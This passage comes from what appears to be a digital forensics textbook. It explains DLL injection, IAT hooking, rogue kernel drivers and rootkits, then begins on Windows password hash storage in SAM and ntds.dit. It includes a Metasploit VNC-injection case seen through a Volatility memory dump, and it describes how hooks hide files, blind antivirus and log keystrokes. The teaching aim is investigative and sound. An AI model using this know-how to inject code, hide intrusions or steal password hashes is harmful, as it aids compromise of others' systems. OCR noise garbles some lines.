technique is known as DLL injection. Figure 3.5 shows a process that has had a rogue DLL mali-
ciously injected into its address space. At this point the attacker has injected code into the pro-
cess, but he still needs to get some thread inside that process to redirect its flow of execution and
run the injected code.

For an attacker to inject a DLL into the memory space of a running process, the attacker must
have an account that has the appropriate permissions to modify the target process. This can be
accomplished either by having a preexisting account on the system (such as might be done by
a malicious inside employee) or through exploiting a privileged service running on the victim
system. The malevolent use of DLL injection generally falls into one of two categories: as a pay-
load for an exploit or as a component of a rootkit. We will explore rootkits in detail later in this
chapter, so we'll confine the discussion to the former category for now.

Recall from Chapter 2 that the Metasploit Framework divided the attack on a computer into
two main phases: the exploit phase and the payload delivery phase. The exploit phase sends an
intentionally malformed request to some service with a known vulnerability in order to make
that service perform some act on behalf of the attacker. The payload is the code that the attacker
wants the victimized service to execute. Typically, the payload of an exploit is limited in size.
The reason for this is that the exploit generally impacts a small part of the program (such as a
particular buffer assigned to a variable), and the memory available into which the attacker can
insert code is limited.
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FIGURE 3.5
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By exploiting a vulnerable service, the attacker gains the ability to get that service to perform
some small task on his behalf. Frequently (such as in the example in Chapter 2) that small task is
simply to start a new process in which the attacker can execute commands (for example, a com-
mand prompt, also called a shell). This option creates a new process running on the victim system
with the permission of the exploited service (in the example we used in Chapter 2, the service ran
as the Local System account). An alert administrator might notice the creation of this new process,
particularly if the attacker intends to leave it running so that he can return to it at a later date. For
example, if the administrator had examined the running processes on the victim system from
the Metasploit hack in Chapter 2, he would have noticed that there was an unexplained instance
of cmd. exe running on the system (we discuss analyzing running processes in Chapter 6). This
could cause the administrator to become suspicious and risks exposing the attacker’s presence.

SHELLCODE

Since the payload of an exploit is frequently designed to provide the attacker with an interactive
shell in which to issue further commands, exploit payloads are frequently referred to as shellcode.

Rather than using their exploit payload to start a shell in a new process, an attacker might
instead take a staged approach. The attacker first exploits a known vulnerability in the target
service, but this time his payload instructs the victim service to download a rogue DLL, add
that DLL to its process memory space, and execute some function found within it. This type of
attack is referred to as a DLL injection attack. Figure 3.6 shows this type of attack. You can see
that the attacker has used an exploit to first download and inject a DLL called Rogue.d11. This
DLL (written by the attacker) consists of three functions. The attacker then uses the exploit to
instruct the current thread to stop running the instructions that are part of the original process
and instead to run instructions that are part of the rogue DLL.
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FIGURE 3.6
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The advantage to a DLL injection attack over standard shellcode is that once the DLL is in the
address space of the victim service, it not only runs with the privileges of that service, but it actu-
ally runs within the threads of the service. No new process is created on the victim system, and
the original service can even continue doing what it is supposed to do (attackers may spawn a new
thread within the victim process to run the rogue code, allowing the original process threads to
continue running the original process instructions; this option is shown in Figure 3.7). This pro-
vides the attacker with even more stealth, because there is no new process on the victim system for
an administrator or investigator to detect. The original service is seen to be running, but it is now
performing rogue functions that it wasn’t designed to perform in addition to its original instruc-
tions. The attacker has successfully redirected the flow of execution of the program.

This type of attack can result in a stealthy approach by the attacker. In the absence of an
up-to-date intrusion detection system, the effects of this type of attack may be detected rather
than the attack itself. For example, files may be accessed or accounts may be altered without the
knowledge of any authorized users. You will see in Chapter 14 how Windows logs these types of
events. When those events are performed not by user accounts but instead by privileged system
accounts, that is a strong indication that an exploit has been used to get a service to perform
malicious acts on behalf of an attacker.

The second type of DLL injection attack is one made in support of rootkits or other malware
that is installed on a system after the attacker already has control of the system. For example,
once an attacker has gained control of a system (through sniffing the administrator password,
using an exploit against a vulnerable service, or any other means), he can then use that foothold
to entrench himself even further into the system by using a privileged account to inject DLLs
into almost any user process. There are even ways to alter the registry to automatically load
rogue DLLs into most user processes (as you will see in Chapter 9, “Registry Evidence”).

In the absence of an exploit for a vulnerable service, an attacker who uses a privileged account
to inject code into a running process must then address how to get the processes into which he
has injected his DLL to actually execute that code. He has managed to insert his code into the
process’s memory space, but now he must redirect the flow of execution of that process’s threads
from their original purpose to his injected DLL code. This is where our next topic of discussion
comes into play: hooking.
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FIGURE 3.7
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Hooking is the process of capturing the flow of execution of a thread at a particular point and
pulling it in another direction. By hooking the flow of execution at a particular point, the hacker
pulls, or redirects, the flow of execution to some other set of instructions of the attacker’s choos-
ing. For example, an attacker might inject a DLL into the address space of a process and then
redirect the flow of execution into a function defined within that DLL. This would cause the
attacker’s code to be executed instead of the code that the thread was originally following.

To understand how hooking works, let’s take another look at Figure 3.4. You can see that in
order to switch the flow of execution to FunctionX, the thread must first determine the address
in the process’s memory of FunctionX and its associated instructions. It does this by consulting
the Import Address Table.

If an attacker has managed to compromise the victim computer to gain privileged control over
that system, he can use that control to overwrite parts of the memory space in a running process.
For example, he can alter the IAT. By modifying the IAT within a process, the attacker can redirect
the flow of execution to change the behavior of a running process. This could be used to have a
call to one function actually activate another function instead. If an attacker can inject a DLL of
his own choosing into a process’s memory space, he could then modify the IAT to point to a rogue
function inside his injected DLL whenever the process tries to execute a particular function.

For example, consider Figure 3.8. The attacker has first injected a rogue DLL of his own
design into the memory space of a running process. He then modifies the Import Address Table
by changing the entry for Function3 to point not to the real Function3 but rather to a new func-
tion located within his rogue DLL. Whenever the program calls Function3, the call is hooked
and redirected to the attacker’s code, performing some operation that was not intended by the
creators of the now-compromised process. The attacker is now executing his own code on the
victim system, but no new process needed to be created. The combination of DLL injection and
hooking effectively allows him to hijack the running process and bend it to his will. He can
structure his injected code to perform some task and then return the flow of execution back to
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its original path, or he can take over the flow of execution of the process to continue to run his
rogue code and completely stop running the original program instructions.

FIGURE 3.8
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Hooking presents a wide array of possibilities to attackers, limited only by their imagina-
tions. The following examples represent only a small portion of the possible uses of this type of
attack but will serve to give you an idea of how these techniques can be used:

¢ Byhooking a call to a function that lists the files in a directory, an attacker can modify the
results that are displayed. For example, the hacker may hook the function call by returning
a list of all the files that exist in the directory except for files that the attacker wants to keep
hidden. Attackers frequently use this technique to conceal the presence of files that they
have placed on the system.

¢ By hooking the appropriate functions in an antivirus program, the attacker can force
the program to not scan certain files or directories, allowing the attacker to keep tools or
other programs that would ordinarily be detected and removed by automated virus scans
on a victim system.

¢ By hooking the functions involved in receiving keyboard input, the hacker can log key-
strokes, creating files that record all keystrokes entered by users and even transmitting
those files to the attacker.

¢ Theattacker can cause a process to open a port on a system and allow privileged connec-
tions to the system from across a network, creating a backdoor onto the system that the
hacker can use to regain control and access in the future. The hook could then return the
flow of execution to its original path to allow the hijacked process to continue running,
ordinarily to decrease the likelihood of detection by an administrator.

Modifying the IAT is only one implementation of the hooking concept. Other methods can
also be used, but understanding the technical details of all different hooking techniques is not
of great concern to an investigator. It is only important to understand the concept of function
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hooking and the malicious ways in which it can be used. As we continue to explore ways to
locate and detect evidence of network attacks on specific hosts, we will look at methods to detect
the presence of these attacks.

@ Real World Scenario

DLL INJECTION ATTACK

DLL injections are a common way of getting malicious software on a victim computer while mak-
ing it harder to detect. Years ago, this type of attack was left to the realm of elite hackers, but now
it can be accomplished through the use of freely available tools that are so easy any script kiddie
can do it. As a result, these types of attack have become much more common, and it is important
to understand how easily they can be implemented. We will walk through an example that will
illustrate their simplicity and capability.

The Metasploit Framework contains a payload option that uses an exploit to inject arogue DLL into
the memory space of a victim process and call a function within that DLL. The DLL is a modified
version of a virtual network computing (VNC) server, which allows full, remote, GUI control of the
victim system. This modified VNC server also opens a command prompt running with the security
context and privileges of the exploited service.

The VNC server can be configured to listen on a specific port for future connections from the
attacker. The port will remain open, and the VNC server will remain active as long as the originally
exploited service remains running.

The following graphic shows the view of the victim system that is returned to the attacker. Note
thatifauserisactually sitting at the keyboard when this attack is executed, she will see her cursor
moving as the attacker controls it, creating a Hollywood-style hack, which can be disconcerting
to an unsuspecting user. Although this may be amusing, it isn’t subtle. This attack is most useful
against a server that is unlikely to have an interactive user or against a system late at night when a
business is known to be closed.
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In the previous graphic, you see the view returned to the attacker after exploiting a Windows 2008
Server and delivering the VNC DLL injection payload. The VNC server runs within the exploited
process, in this case the Local Security Authority Subsystem Service (LSASS), and the Metasploit
Courtesy Shell runs with the permissions of the exploited service (in this case, the System
account).

Chapters 5 and 6 will provide more details on detecting the presence of rogue processes running
onavictim system. For our purposes in this chapter, we will simply show the end results of such
an analysis using the tool Volatility. Here you see the Volatility tool being run against a RAM
dump from the exploited system.

:“\RAM>volatility.exe ——profile Win2KBSP1ix86 netscan —f win2k8.pauw
olatile Systems Uolatility Framework 2.8
Local Address Foreign Address State
Ouner Created
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ystem
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We scrolled farther down in the results, and now you can see that the LSASS is being used to host
an active connection on port 4444. It is this connection that is being used to remotely control the
victim system, and LSASS is hosting the rogue VNC DLL.

Ox7eaf2528 TCPud _ 0.0.8.8:49155 0.0.0.0:0 LISTENIN ..
648 lsass.exe
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Bx7e711828 TCPu4 .168.1.100:445 " "192 168.1.12@:1114 CLOSED =
4 114

Bx77939c@ TGPu4 .1.108: 192.168.1.120:1115  CLOSED
4 3 2011 :14

.1.188:-49159

2011-89-18
26011-11-88
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Bx7e6b4200 UDPv4
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Bx?e'?716h8 UDPu4
2011-11-88
suchost.ex 26011-11-88
0.8.8.8:

suchost . 2811-11-88
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Chapter 5 and Chapter 6 will show you how to locate unusual ports and processes on a victim
system and will demonstrate how to use specific tools to capture and analyze the memory of a
running system to gather evidence of attacks.
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Maintaining Order Using Privilege Modes

We mentioned that an attacker would need to have privileged control of the victim system in
order to perform a DLL injection or to modify the Import Address Table. The reason why spe-
cial permissions are needed is that by default Windows maintains a great deal of separation
between different processes. Controlling access to resources and ensuring that each process has
access to only the appropriate resources is a large part of what the operating system is responsi-
ble for doing. By examining how this role is accomplished, you will gain a better understanding
of how attackers might seek to exceed the scope of their permissions. In addition, you will learn
how hackers can exploit these facilities to hide the evidence of their activities from administra-
tors (and of course we’ll talk about how you can find them despite their best efforts).

The Windows OS runs processes in one of two modes: User Mode and Kernel Mode. User
Mode is where all user-initiated processes run. Kernel Mode is reserved solely for the use of the
operating system and its components. System memory is also divided into two main sections.
One section is designated for processes running in User Mode, and the other section is reserved
for Kernel Mode processes.

Within User Mode, memory is further subdivided. As we discussed in the previous section,
each process is given a specific amount of memory that falls within a specified address range
(the memory space for that process). By default, the operating system will allow each process
to access only memory that is in its defined address space. This is done to protect each process
from the effects of every other process and to help maintain system stability. For example, the
operating system will not allow one process to delete the contents of another process’s memory
(whether as the result of a programming error or by malicious intent). Thus, every User Mode
process is isolated and protected from the activities of other User Mode processes.

Memory management is different within Kernel Mode. Since Kernel Mode is reserved for
only the OS and its components, processes running in Kernel Mode are expected to behave
themselves. Kernel Mode components should have been thoroughly tested and well engineered
so that they are not likely to accidentally start erasing memory or otherwise interfere with other
processes. Also, since Kernel Mode components are part of the OS, they are assumed to not
be acting maliciously. Therefore, every process running within Kernel Mode is able to access
all resources on the system, including memory being used by other Kernel Mode processes. A
Kernel Mode process can access and modify all memory, files, accounts, and so on within the
system. There is nothing that a Kernel Mode process cannot do on the system. You can see why
only the operating system and its components are allowed to run in Kernel Mode.

PROCESSOR PRIVILEGE MODES

Although the operating system is responsible for enforcing the separation of processes and main-
taining the distinction between User Mode and Kernel Mode processes, it does get help in this
task from the system hardware. The Intel x86 line of processors has four different privilege modes
(sometimes referred to as rings), numbered 0 to 3. Windows takes advantage of only two of these
modes, mode 0 and mode 3 (also called ring 0 and ring 3). Kernel Mode processes run in ring 0, and
User Mode processes runinring 3. If a process running in ring 3 tries to access memory allocated for
ring o (Kernel Mode) processes, the hardware will not allow such an access. Conversely, any process
running in ring o is able to access all system memory. As you will see, if an attacker can get mali-
cious code to run in ring o (Kernel Mode), that code will have unlimited control over the system.
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All processes that we as users run (whether as the administrator or as a standard user) exist
in User Mode. Therefore, all of our actions are restricted to some extent. To access a file or a
piece of memory, we must first get the permission of the OS that is operating within Kernel
Mode. This is how the OS can maintain and enforce security rules and permissions; since it
operates at a lower level than user processes, it actually has more control over and regulation of
the system’s resources. For a user process to write to a disk, for example, that process must make
a request to the OS (operating in Kernel Mode) to access the disk and place the requested data
in the appropriate sectors of the disk. User Mode processes do not directly access most system
resources. They instead must make a request to the OS, which will then make the access on their
behalf if the process’s security or access token has the appropriate permissions. Thus, a tool run
by the Administrator account will be able to get the OS to access most system resources on its
behalf, whereas similar requests from a process being run by a normal user will be denied.

Processes that run in Kernel Mode have the ability to directly access system hardware
resources and thus can bypass security restrictions and fully control the system. As we men-
tioned, this power is the reason why only the operating system and its components are allowed
to operate in Kernel Mode. Because of this extreme level of control, attackers strive to get rogue
processes to run within the kernel. By doing so, they are able to alter all aspects of the system’s
function and truly own the victim system at the lowest level.

If only the operating system and its components are allowed to run in Kernel Mode, how can
an attacker get her code into the kernel? The answer is found in the “and its components” por-
tion of the previous sentence. Since Kernel Mode processes are tasked with interacting directly
with hardware, they need to know how each hardware device operates and have code specifi-
cally written for each device to allow the OS to interact with it. This code comes in the form of
device drivers. Device drivers are loaded into Kernel Mode upon the installation of new hard-
ware so that the rest of the kernel can interact with that device. As a result, any code that is con-
tained within a device driver runs in Kernel Mode.

Device drivers are usually supplied by a device’s manufacturer. Since device driver code
operates in Kernel Mode, a poorly written driver can cause system instability or other problems.
To ensure that device drivers will not conflict with other system components, Microsoft began
digitally signing device drivers that passed certain certification requirements. When installing a
new piece of hardware, the user will be warned if Microsoft has not digitally signed the associ-
ated driver; however, the user will still have the option of proceeding with the driver installa-
tion despite the lack of a signature. If the user chooses to do so, then the code that is contained
within that driver is placed in the Kernel Mode of the system and has full control over that
system. Driver signing is the only security mechanism in place to keep rogue code from being
snuck into a system in the form of a device driver.

CONTROLLING DEVICE DRIVER CODE

An administrator can set Group Policy to force all computers to allow only the installation of
device drivers that are signed by Microsoft. In such a network, the attacker would first have to
gain appropriate access to modify that setting before installing a rogue device driver.

As you can now imagine, attackers create device drivers that contain malicious code. By
installing such a driver on the system, they inject that malicious code into the Kernel Mode of
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the victim system, giving them virtually unlimited control of that system. Rogue device drivers
are a favorite tool of attackers and represent one of the larger security threats to Windows sys-
tems. Using a rogue device driver, an attacker can not only gain full access to the system but can
also hide her activities from the administrator and security-monitoring software.

A malicious device driver can be used to overwrite various system tables (similar to the
Import Address Table discussed earlier) that control the flow of execution of processes through-
out the system. By manipulating these various tables, the attacker can hook functions such as
those that list files and directories, control which user accounts are displayed to the administra-
tor’s tools, and so on. Since all user processes run in User Mode, they rely on requests to Kernel
Mode processes to provide information about what is actually occurring on the system. If those
requests are intercepted by code running in Kernel Mode as part of a malicious device driver,
the attacker can control the results that are returned to those programs. Since the device driver
is operating at a more privileged level than the User Mode processes, the User Mode processes
cannot detect the deception or do anything to stop it.

Most security programs that are designed to thwart attackers (antivirus programs, file-integrity
checkers, host-based firewalls, and so on) run in User Mode. If an attacker has injected rogue code
that runs in Kernel Mode as part of a device driver, then the attacker is in a position of advantage.
Although the security programs are monitoring for malicious activity, they are depending on the
Kernel Mode (which contains the malicious code) to accurately report the status of what is hap-
pening on the system. Since the attacker’s code is more privileged than the security-monitoring
code, it can successfully hide its activities from the monitoring software. In response to this, secu-
rity vendors also started adding their own device drivers to the kernel in order to try to detect
rogue Kernel Mode activity. This caused attackers to find ways to get their device drivers to load
into Kernel Mode first in order to defeat and alter the security monitor’s device drivers. The end
result is a cat-and-mouse game similar to the radar, radar detector, radar-detector detector race.
Every time one side builds a better mousetrap, the other side invents a smarter mouse.

Because of the huge security problem associated with device drivers, Windows sets a special
privilege that is required to load a device driver. Standard users do not possess that right, but
administrators and other privileged groups do. Attackers must therefore compromise the victim
system through an exploit of a privileged service, through password guessing or sniffing, or
through some other means before they can install a rogue device driver. As an additional secu-
rity feature, Windows can audit and log whenever a user attempts to install a device driver (as
we will discuss in Chapter 14, “Other Audit Events”).

Attackers who compromise a system will frequently embed themselves into that system
using device drivers to create backdoors, run key-logging software, sniff for passwords, and
perform other activities all while hiding these acts from any software or users that might
attempt to detect them. Packages of software have been developed that allow attackers to install
a large amount of advanced but malicious software onto victim systems. These kits are called
rootkits and will be the topic of the next section.

Using Rootkits

In the world of Unix/Linux operating systems, the most powerful user on the system is called
root. When an attacker breaks into a Unix system, she tries to achieve root-level access. At that
point she can install a series of tools and programs designed to help her keep control of the
victim system and minimize her chances of being detected. These tools grew into entire kits
of tools that an attacker would install upon gaining root access to a new system. Hence the
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term rootkit evolved to refer to these sets of tools. Although the root user does not exist on a
Windows system, the terminology of the Unix world has been adopted to refer to all toolkits
designed to embed an attacker into a system while hiding her presence on that system.

Rootkits take advantage of the techniques discussed throughout this chapter (hooking, DLL
injection, and rogue device drivers) to control the system at a low level. They provide access to
the system for the attacker, run malicious software to record the activities of users, and hide the
evidence of the attacker’s presence from all other users of the system. Rootkits are easily down-
loaded by even the most inexperienced of attackers, allowing advanced capabilities to be used
even by those attackers who have no idea how the rootkits work.

A rootkit can add files to a system, can replace existing system files with substitutes contain-
ing altered versions of system functions, or can even be entirely memory based. A memory-only
rootkit does not survive a reboot but is extremely difficult to detect. A persistent rootkit (one
that adds files to the system and restarts when the system is booted) is more robust and is the
more common implementation. The use of encryption to conceal the presence of rootkit files
that are stored on disk is becoming more common as rootkits continue to evolve.

Rootkits can exist as a series of User Mode processes, taking advantage of User Mode hook-
ing and DLL injection to alter system behavior. More powerful rootkits will have components
that run in Kernel Mode as device drivers to alter the function of the OS itself and hook calls
coming from other processes to the kernel. The OS provides an application programming
interface (API) that User Mode processes can use to make requests of Kernel Mode processes.
By using malicious device driver code to hook calls to the various API functions, the attacker
can control what all User Mode processes see when they make requests for file listings, process
information, and so on from the OS itself. Hybrid rootkits (with both User Mode and Kernel
Mode components) are also common.

Windows rootkits are a substantial problem in that their activities are difficult to detect by
design. Once a rootkit has taken control of a system, particularly if the rootkit has components
that operate in Kernel Mode, the kit can thwart most attempts to detect its presence. For this
reason, detecting a rootkit by running security software on the infected system is challeng-
ing. Rootkit-detection technologies continue to evolve, but the rootkits continue to evolve in
response. When both sets of software operate in Kernel Mode, the playing field is fairly level
and the issue of which camp is winning changes from day to day. Rootkits will often attach to
low-level system drivers in an attempt to load before any security or rootkit-detection software
so that they can continue to evade detection. Some even infect the boot sector to load before the
operating system. Rootkits are often detected when their command and control nodes or other
external sites are contacted for updates or instructions.

Since rootkits hide their existence from the user of the infected computer, confirmation of a root-
kit’s presence will frequently come after an image of the infected system is acquired using standard
forensic techniques. Images are ordinarily acquired by powering the victim system off and attach-
ing its hard disks to a known-good forensic acquisition station. Following this procedure ensures
that any rootkit that may have infected the victim system is not active at the time of acquisition and
that it therefore is not able to conceal any data. During the analysis of the image, the data is exam-
ined by using a forensic examination station that is once again not infected by a rootkit (at least we
certainly hope that you have procedures in place to keep it that way). When the offline analysis of
the data is performed, many techniques can be used to detect the presence of the rootkit’s files. For
example, antivirus scanners might detect the presence of known rootkit files during an offline scan
(a scan of the infected disk that is made from another, uninfected system). In addition, hash analy-
sis can often lead to the detection of files known to be associated with common rootkit packages.
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@ Real World Scenario

SERIOUS BUSINESS

In the past several years, malicious software (malware) has grown in complexity and sophistication
because of the influence of organized crime. Rootkit technologies are now used in the creation of
massive botnets with the purpose of generating revenue for those who make the malware and those
who control the infected systems. Malware such as TDSS and Rustock utilize rootkit technologies
to hide their infections on systems while using malware to send spam, modify traffic patterns to
websites, influence or alter search engine results, and encourage users to download rogue antivirus
solutions. While a joint effort between various industry, academic, and law enforcement groups
dealt a significant blow to Rustock in 2011, other malware using rootkit technologies continues to
be widespread.

Common rootkit features of these tools include:
& Hiding processes

4 Hiding open and active network ports

& Hiding registry keys

& Injecting code into processes as they launch

Rootkit technologies, such as loading as a driver to gain access to Kernel Mode, hooking processes,
and DLL injection, allow these tools to take complete control of infected systems. Constant updating
of the malware is achieved through encrypted, certificate-based communications with a distributed
network of command and control servers that can also be frequently updated.

The creators and users of these malicious toolkits generate money through a variety of mechanisms.
Directing users to sites where they are duped into paying for software that purports to be antivirus
toolsisjust one method. Others include manipulation of traffic to websites, pay-per-click schemes,
theft of financial information, and spam emails. An entire underground economy has built up
around these activities where online criminals pay each other for infecting new computers, sell
large botnets of infected computers, or transact in stolen financial information such as credit card
data or online banking credentials.

Since malware such as TDSS provides the ability to install other malware and hide its presence
from the user, a botnet of computers compromised with this rootkit provides a means to install and
control thousands of computers to bend them to the will of the attacker. The level of sophistication
of these tools is indeed impressive, and the ongoing cat-and-mouse games will continue to involve
rootkit technologies for the foreseeable future as security practitioners continue to struggle to stay
ahead of cyber criminals.

We recently were called into a large customer site after a routine vulnerability assessment of
their network infrastructure found some anomalies on an external-facing web server. The server
was one of four that were load balanced to serve up the company’s main website. After capturing
volatile data, we took the server offline and imaged it with Raptor (a free forensics toolkit available
atwww. forwarddiscovery.com). Once we had the image, analysis of it revealed that the server
did indeed have a rootkit installed and that rootkit was being used to attack any computer that
connected to it while trying to access the company’s website.



THEBOTTOM LINE

In this case, the customer was able to identify the rootkit because of the behavior of other malware
that was subsequently installed, which tried to attack other systems. The rootkit itself was very
difficult to detect on the running system and was only revealed after offline imaging and analysis.
The damage was limited in this case because of good security practices by the company involved.
Regular security audits led to a relatively early discovery of the rooted box, and good defense-in-
depth principles (such as isolating Internet-facing web servers from other network systems and
using unique passwords on the web server) kept the attackers from penetrating farther into the
network, but they were able to infect other customer computers.

While malware installed and running in User Mode can often be located and deleted, with malware
running in Kernel Mode it can be next to impossible to ensure that you have found and deleted all
traces of rogue components. In such cases, as in this case, the best recourse is to forensically wipe
the hard drive and start over from known-good installation media or backup.

Another commonly employed technique is timestamp analysis. If the time frame of the
attack can be determined, files that were added or modified around that time warrant closer
examination since they may be tools added by the attacker. Examination of configuration files,
executables, DLLs, and the Windows registry can also point to the presence of a rootkit. In the
end, there is no 100 percent effective way to locate all rootkits and their components. A previ-
ously unknown rootkit could avoid detection by scans and hash analysis since it has not yet
been cataloged as a known-bad file. When rootkits are suspected, careful analysis of the image
is required.

When investigating a network incident, be cognizant of the possible presence of rootkit tech-
nology. Examine the data you gather during live analysis (covered in Chapter 6) and use any
discrepancies encountered there to help guide your offline analysis. Scan the imaged system
for known rootkit components and perform hash analysis of all imaged files. As you will see in
Chapter 13, even a thorough attacker who has eliminated all traces of her activities on a particu-
lar computer may still leave evidence of her activities in the logs of other networked systems.

The Bottom Line

Explain the process-separation mechanisms implemented in Windows operating sys-
tems and ways in which attackers can subvert these protections. Windows uses one
of two modes for all processes. User Mode is where all user-initiated processes are run.
Kernel Mode is reserved for the operating system and its components, including device
drivers. System memory is divided into two main sections: one for User Mode and one for
Kernel Mode.

Within User Mode, each process is allocated its own memory space. For a thread to execute
an instruction, the instructions must be located in the process memory space in which that
thread exists. Threads from one user process cannot access or alter memory that belongs to
another user process.

By loading rogue device drivers onto a system, an attacker can execute malicious code within
Kernel Mode, allowing the manipulation of any system memory. By intercepting system and
function calls, the attacker can intercept and alter the results provided from the operating
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system to other processes. This allows the attacker to conceal the evidence of her activities by
hiding processes, files, registry keys, and so on from the view of the rest of the system.

Master It You respond to a scene of an incident in a large company. You have developed
reasons to suspect that a particular web server, which is administered by a separate con-
tractor, has been compromised. When you approach the administrator to gather evidence,
he states, “I know the hacker isn’t on this system. I run a script each night to look for new
processes and ports that are not authorized, and nothing has been detected.” Explain to
the administrator why his User Mode script may not detect the attacker’s presence.

Identify ways in which attackers can redirect the flow of running processes to accomplish
malicious activity. Using DLL injection, an attacker can insert malicious code into the
memory space of a process. Using either an exploit or function hooking, the flow of execution
for that process can then be redirected into the attacker’s injected DLL, allowing the attacker
to execute code within the context of the usurped process. This allows the attacker’s code to
execute with the security permissions of the original process and helps hide the attacker’s
activities.

Master It The same administrator from the previous example states that he would have
noticed if the attacker had launched any new processes on the system. Explain to him
how an attacker can run code on his system without ever starting a new process.

Explain how attackers can use rootkits to evade detection. Rootkits are sets of tools that
are installed on a victim system after an attacker has gained root, or full, access to the sys-
tem. These tools typically install backdoors to the system as well as provide mechanisms for
hiding the evidence of the attacker’s presence.

Rootkits can exist in User Mode, in Kernel Mode, or as a combination of each. User Mode
rootkits will use DLL injection and hooking to change the flow of execution of certain pro-
cesses. Kernel Mode rootkits will often hook calls to the operating system for basic functions
such as listing files on disk, listing processes in memory, and querying the network stack.

By modifying the results of queries by other system processes, the attacker is able to hide any
files, registry keys, processes, ports, and so on that are being used for malicious purposes.
This allows the hacker to continue to collect information from the system without being dis-
covered by legitimate users.

Master It Explain ways that the presence of a rootkit may be detected.



Windows Password Issues

A favorite trick of network attackers is to compromise existing accounts by learning the appro-
priate username/password combination. Once attackers have a valid account on the system,
they are able to come and go at will using normal entry points, in effect hiding in plain sight.
You saw in earlier chapters how attackers can create their own accounts on a compromised
system. In this chapter, we will examine ways in which an attacker can learn the names and
passwords of accounts that already exist on a victim system. By learning this information, the
attacker can gain access to the system without having to alter the number of accounts that exist
on the target, thereby providing increased stealth for the attacker.

An attacker can gain information about account passwords in three main ways. The first
method is by breaking into the system through some exploit and stealing the file that contains
the system’s listing of authorized users and their hashed passwords. The second method is
through sniffing authentication exchanges off the wire or through the air as users authenticate
to remote systems. The third method is a brute force attack. Each method offers its own chal-
lenges, and an attacker can use a variety of tools to circumvent these challenges.

In this chapter, you will learn to

¢ Explain how Windows stores username and password information
¢ Explain the mechanisms used to authenticate a remote user to a Windows machine

¢ Demonstrate ways in which Windows account passwords can be compromised

Understanding Windows Password Storage

Starting with Windows NT, Windows systems began storing their account user and hashed
password data in one of two places: the Security Account Manager (SAM) file or Active
Directory. Information about local accounts is stored in the local computer’s SAM file, which is
located in the %SystemRoot%\System32\Config folder. This file exists as a registry hive file,
which will be explained in more detail in Chapter 8, “The Registry Structure,” and is named
simply SAM. An additional copy of this file may be found in the %SystemRoot%\Repair folder
for use by system-recovery utilities in the event the working copy becomes corrupted. Note,
however, that this copy is created during the initial installation of the operating system (and
isn’t updated) and thus can’t be used as a replacement for the primary version if it becomes cor-
rupted. Instead, this version is merely a disaster-recovery version and thus it has little forensic
value to you. Other operating systems such as Windows XP, Vista, 7, and Server 2003 and 2008
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offer the user the capability to create a password reset disk. These disks require no special
knowledge, no authentication or challenge—they just provide the wonderful ability to reset a
local user’s password with a reset disk.

%SystemRoot%

Windows defines certain environment variables at initial system installation. One of these is the
%SystemRoot%variable. This variable is a shorthand way of referring to the directory in which the
operating systemisinstalled. Although the administrator can set this directory to be any folder, the
following lists the more common default locations:

Windows NT: C: \WINNT

Windows 2000: C: \WINNT
Windows XP: C: \Windows
Windows Vista: C: \Windows
Windows 7: C: \Windows

Windows Server 2003: C: \Windows

Windows Server 2008: C: \Windows

Information regarding domain accounts is stored on each domain controller in Active
Directory. The Active Directory database information resides on the domain controller in a file
called ntds.dit, which is located in the %SystemRoot%\ntds directory (NTDS stands for NT
Directory Services, and DIT stands for Directory Information Tree). Although this file contains
lots of information, for our purposes it is only important to realize that this is the place where
all of the account names and the hashes or ciphertexts of the passwords are stored for the
domain. Therefore, if an attacker can copy this file, he has the ability to compromise accounts
that are valid throughout the domain, including the domain administrator account. Of course,
if the password string is very long, it may take an infeasible amount of time to recover the pass-
word. As you can imagine, this file is the target of many attacks.

Whether stored within a local SAM file or in a domain controller’s ntds.dit file, the informa-
tion stored regarding account names and their password hashes or encrypted passwords is the
same. Both files are stored in a binary format (as opposed to plain ASCII text) and require some
type of tool to extract the relevant information into a human-readable format. The information
that is extracted will be a list of each account’s name and, depending on the type of stored pass-
word, either the hash values or ciphertext that represent each account’s password.

For security reasons, Windows does not store passwords in plain text; instead the passwords
are stored in either an encrypted or hashed format. Windows also doesn'’t store just one copy of
your password either—two different processes are used to encipher and store your password.
The first encrypted password is called the LanMan password, and it uses Data Encryption
Standard (DES) to encrypt the password. The second, called the NT LanMan (NTLM) password,
uses a cryptographic hash function called MD4 to encipher that plaintext password. These two
processes create different values that represent the user password, and then these values are
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then further encrypted with the SysKey utility before being stored on disk in the SAM file or the
ntds.dit file.

COMMON PARLANCES AND PASSWORD CIPHERS

Itisimportanttonote thatwhendiscussing LanManand NTLM password storage, thereisalittle mat-
ter of common parlance that we have to deal with. Asnoted previously, the user’s plaintext password
is subjected to two different processes to supposedly make it difficult for someone to steal another
person’s password. The LanMan version uses an encryption process, and the NTLM uses ahash func-
tion. While technically the LanMan encryption processisnotahash function, mostpeople (including
Microsoft) call the LanMan-encrypted password data a “LanMan hash.” While it is more technically
accurate to say that the encryptionresultsinaLanMan ciphertext, we will use the terminology that
ismost commonly used. However, even when you read “LanMan hash,” know that what we are really
talking about is merely an encrypted password and not a hashed password.

The NTLM hash is a fairly secure hash function and is used in most authentication attempts,
whereas the LanMan hash is an older implementation that is much less secure. Depending
on the Windows version, the LanMan hash may still be stored for backward-compatibility
purposes, so that pre-Windows NT systems can be used to authenticate to more current
Windows systems.

Hashing algorithms (also called hash functions) such as the one used for the NTLM password,
are in a group of algorithms called one-way functions. The algorithm is designed such that when-
ever a particular password is used as the input to the function, it will always generate the same
hash value, and the likelihood of two separate passwords generating the same hash value is
extremely low. Precisely how low depends on the hash function that is used to hash the pass-
word. The hash function is considered “one way” since, while the same password can be used to
consistently generate the same hash value, the resulting hash value cannot be used to determine
the original password. Figure 4.1 illustrates how a hash function is specifically designed to gen-
erate an identical hash value whenever the same password is provided as input to the function.
There is no algorithm that can reproduce the original password by examining the password’s
resulting hash value. This prevents an attacker from decrypting or reverse engineering an origi-
nal password based on its password hash.

FIGURE 4.1

A one-way hash
function prevents
an attacker from
decrypting or
reverse engineering

an original pass-
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This hash function mechanism allows Windows to verify that a user knows a password
without having the system actually store the password anywhere on the system (except perhaps
in RAM during interactive logons). When a user first selects a password, the system runs the
password through a hash function that calculates the password’s hash value. The system then
records this hash value along with the account name in the SAM or ntds.dit file. When a user
attempts to authenticate using that account name, the system takes the password that the user
provides, runs it through the hash function, and compares the resulting hash value to the hash
value stored in the password file (either SAM or ntds.dit). If the two are the same, the authenti-
cation is successful. If the two are different, the authentication fails.

Cracking Windows Passwords Stored on Running Systems

The term password cracking refers to the process of taking a password hash and attempting to
determine what the associated password was that generated that password hash. If a password’s
